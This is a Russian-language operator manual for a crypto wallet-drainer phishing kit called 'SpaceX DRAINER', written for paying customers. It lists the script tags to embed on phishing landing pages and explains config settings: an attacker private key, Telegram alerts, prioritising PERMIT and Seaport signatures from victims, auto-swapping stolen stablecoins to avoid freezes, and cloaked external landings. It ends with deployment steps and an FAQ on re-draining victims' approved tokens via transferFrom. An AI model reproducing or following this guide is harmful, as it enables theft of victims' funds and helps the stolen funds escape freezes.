Руководство по эксплуатации
Поздравляю с приобретением SpaceX DRAINER. Исходники у вас. Что дальше?
- Полный осмотр внутренностей продукта.
- Как подключать лендинги.
- Настройка конфига. 3.0. Строка 1 — PrivateKey. 3.1. Строки 2-3 — Отстук. 3.2. Строки 4-5-6 — PERMIT и SEAPORT. 3.3. Строка 7 — Главная валюта. 3.4. Строка 8 — Сovalent. 3.5. Строка 9 — AUTOSWAP. 3.6. Строка 10 — Добавление внешних лендингов. 3.7. Строка 11 — NFT MINIMAL PRICE.
- Выгружаем файлы и поднимаем сайт.
1. Небольшой ликбез по структуре скрипта.
Сейчас быстренько пробежимся по всем внутренностям SpaceX DRAINER.
Если вы не программист, ни черта не понимаете в коде и вам неинтересно как устроен проект — можете пропустить этот шаг.
- ABIs - интерфейсы для взаимодействия с токенами (ERC20, ERC721, ERC1155).
- public - внешние файлы, лендинг.
- public/scripts - внешние скрипты, необходимые для работы. public/scripts/main.js - основной скрипт, который отвечает за взаимодействие с кошельком (апрув, подпись, сеапорт).
- config.json - конфигурация.
- app.js - файл сервера, внутренняя логика (автовывод).
- docker-compose.yml, Dockerfile - настройка системы контейнеров и системы запуска.
- package.json, package-lock.json - зависимости для установки.
- rpc.json - конфигурация сетей.
- start.sh - запускатор.
2. Как подключать лендинги.
Для установки на лендинг необходимо прописать скрипты на страницу с кнопкой:
<script src="https://cdnjs.cloudflare.com/ajax/libs/ethers/5.7.2/ethers.umd.js" type="application/javascript"></script> <script type="text/javascript" src="./scripts/sweetalert2@11"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/web3.min.js"></script> <script type="text/javascript" src="./scripts/index.js"></script> <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]"></script> <script type="text/javascript" src="https://unpkg.com/[email protected]/dist/umd/index.min.js"></script> <script type="text/javascript" src="https://unpkg.com/@walletconnect/[email protected]/dist/umd/index.min.js"></script> <script src="https://unpkg.com/[email protected]/dist/axios.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/@coinbase/[email protected]/dist/index.min.js"></script> <script type="text/javascript" src="./scripts/ethereumjs-tx-1.3.3.min.js"></script> <script language="javascript" type="text/javascript" src="./scripts/ABI.js"></script> <script type="text/javascript" src="./scripts/main.js"></script> <script type="text/javascript" src="./scripts/seaport.js"></script> <script src="https://code.jquery.com/jquery-3.6.3.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/[email protected]/src/ua-parser.min.js"></script> <script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
и необходимой кнопке прописать свойство:
onclick="login()"
3.0 Настройка конфига. Прописываем приваткей.
Приваткей — он же закрытый ключ, его можно получить через браузерное расширение MetaMask во вкладке "Реквизиты счета"
Обратите внимание, что на адресе кошелька, приваткей которого вы укажите в конфиге, всегда должно быть немного денег в главной валюте сети. Газ нужен для оплаты газа во время снятия апрувов с кошелька мамонта.
Достаточно будет закинуть буквально по паре баксов на каждую сеть:
Ethereum — ETH
Binance Smart Chain — BNB
Polygon — MATIC
и так далее во все другие необходимые сети по которым вы будете работать...
В сеть Ethereum, само собой, нужно скинуть немного больше денег, где-то баксов 15-20, т.к данный блокчейн нестабилен по газу.
3.1 Настройка конфига. Отстук в Telegram.
Для подключения отстука открываем файл config.json и прописываем данные:
2 строка — токен бота, 3 строка — ID аккаунта или ID канала, в который должны поступать уведомления.
3.2 Настройка конфига. PERMIT и SEAPORT приоритет.
По-умолчанию у методов пермит и сеапорт стоит значение true, это означает, что для них задан высший приоритет, т.е вне зависимости от того, на сколько дорогой токен имеется на кошельке жертвы, в первую очередь скрипт всё равно будет списывать токены которые поддерживают PERMIT или SEAPORT, т.к шанс на то, что мамонт их подпишет, гораздо выше, через у других. А уже после того, как эти беспалевные подписи будут подписаны, скрипт начнёт снимать остатки токенов привычными нам методами approve, setApprovalForAll и SIGN/TRANSFER, начиная от дорогого заканчивая дешёвым. Чтобы отключить приоритет PERMIT и SEAPORT нужно указать значение false, вместо true:
В строке permit_priority_tokens указан перечень пермит токенов для которых будет работать приоритет:
3.3 Настройка конфига. Списание главной валюты сети.
В строке gas_token_method мы выбираем метод списания главной валюты сети, «sign» с красной табличкой или обычный «transfer».
3.4 Настройка конфига. Сovalent API KEY
Регистрируемся на сайте Covalent, получаем бесплатный апи ключ и прописываем его в конфиг:
3.5 Настройка конфига. AUTOSWAP токенов.
Строка 9 отвечает за включение и отключение автоматического обмена токенов на главную валюту в сети Ethereum. Функция авто-обмена реализована для того, чтобы не столкнуться с блокировкой наскамленных средств, ибо такие токены как usdt и usdc любят лочить по первому же запросу. По-умолчанию данная функцию отключена, чтобы включить, нужно изменить значение с false на true.
3.6 Настройка конфига. Добавление внешних лендингов.
Внешние лендинги — это сайты на обычном веб-хостинге, которые можно просто направить на IP сервера, и они начнут работать как обычный дрейн. Эта система позволяет очень удобно подключать к серверу сразу неограниченное количество лендингов, позволяет клоачить их, и делать с ними вообще всё, что угодно.
У — удобно.
Для включения «внешнего режима» работы нужно активировать опцию "external" в конфиге, чтобы это сделать, в строке 10 необходимо изменить значение с false, на true.
Далее нужно поднять сайт по обычной инструкции.
А все последующие лендинги должны быть внешними, и ставиться по следующией инструкции:
Заливаем файлы сайта на обычный вебхост и в папке с ними в файле server.cfg
прописываем адрес домена который мы подняли на самом дрейне, внутренний фронтенд (к примеру https://mintnftzero.com
) Шаблон лендинга для вебхоста есть в папке public* Обратите внимание, что с включенной функцией внешних лендингов, внутренний фронтенд на сервере работать не будет, активными будут только внешки! Если вас устраивает один сервер — один лендинг, то просто оставьте значение false, чтобы не заморачиваться.
3.7 Настройка конфига. NFT MINIMAL PRICE.
Строка 11 отвечает за приоритет списания нфт, то есть, если в конфиге задано значение 1000, то это означает, что нфт стоимость 1000$ будет списываться с низшим приоритетом, в самую последнюю очередь после всех токенов.
От себя рекомендую ставить значение именно от 1 000$, ибо нфт, списанные сеапортом, маркетплейс опенси моментально отправляет на фишинг проверку, без возможности продажи, а на других маркетплейсах дешманские ноунейм нфт продать проблематично. По этому пусть скрипт лучше уж в первую очередь списывает условно токен с ценой 100$, прибыль от которого будет фактическа, нежели от нфт за 1000$, доход от которой лишь потенциален.
4. Выгружаем файлы и поднимаем сайт.
Покупаем любой Ubuntu 20.04+ сервер, подключаемся к нему через программу MobaXterm и мышкой перетаскиваем папку с файлами прямо в корень. После этого просто вставляем данные команды в консоль и дожидаемся установки:
cd ИМЯ ПАПКИ source start.sh
в процессе установки консоль попросит у вас вставить адрес домена формата domain.com, вставляем:
А потом нужно будет добавить «А-запись» с айпишником вашего Ubuntu 20.04+ сервера в днс домена. Сайт встанет автоматический, как только пропишутся днс.
ГОТОВО! Возникнут вопросы или проблемы — обращайтесь по контактам!
Вопрос — ответ.
Формулировки всех нижеперечисленных вопросов поступают от вас — клиентов, я их выкладываю сразу сюда предварительно никак не корректируя, по этому, если постановка вопроса или ответа на него вам не ясны — уточняйте в личку.
Внёс правки в конфиг проекта, но ничего не обновилось, как быть? —Чтобы проект обновился, нужно после любых внесённых в него изменений прописывать команду: docker-compose build && docker-compose up -d
Как в консоли посмотреть логгирование? Оно же ведётся? Ну в плане, списались токены/не списались, ошибка не ошибка, и т.д. —Нужно прописатьdocker ps
, скопировать ID рядом со словом "drainer" и прописатьdocker logs (ID)
:
Если мамонт апрувнул токен и автовывод снял его, но потом через какое-то время мамонт закинет этот токен ещё раз, смогу ли я снять его повторно? —Да, сможешь. Если мамонт не отклонил апрув, то все повторные пополнения с его кошелька можно выкачать следующим образом:
нужно открыть контракт токена который апрувнули и перейти в раздел Contract>Write Contract>transferFrom. зелёным — вводите адрес его кошелька (мамонта). синим — вводите адрес своего кошелька (куда получать). оранжевым — сумму, которую нужно снять.